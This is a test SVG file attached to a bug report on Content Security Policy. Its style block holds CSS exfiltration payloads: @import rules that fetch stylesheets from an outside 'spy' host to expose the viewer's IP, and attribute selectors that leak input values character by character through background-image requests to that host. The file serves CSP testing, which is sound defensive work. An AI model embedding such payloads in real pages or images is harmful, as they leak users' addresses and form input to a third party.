Project

General

Profile

Bug #93884 » svg-style.svg

Test SVG for CSP - Oliver Hader, 2022-08-31 09:59

 
<?xml version="1.0" encoding="utf-8"?>
<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<style>
/* test external IP exposure */
@import url('/sniff/ip.css');
@import url('https://spy.anyhost.it/sniff/ip.css');

.text {
white-space: pre;
fill: purple;
font-family: Arial, sans-serif;
font-size: 14.3px;
}

/* test scenario when embedded inline in HTML context */
input[value$="a"] {
background-image: url('https://spy.anyhost.it/sniff/a.png');
}
input[value$="b"] {
background-image: url('https://spy.anyhost.it/sniff/b.png');
}
input[value$="c"] {
background-image: url('https://spy.anyhost.it/sniff/c.png');
}
</style>
<text class="text" x="10" y="10" style="stroke: orange; stroke-width: 0.75">test</text>
</svg>
(3-3/3)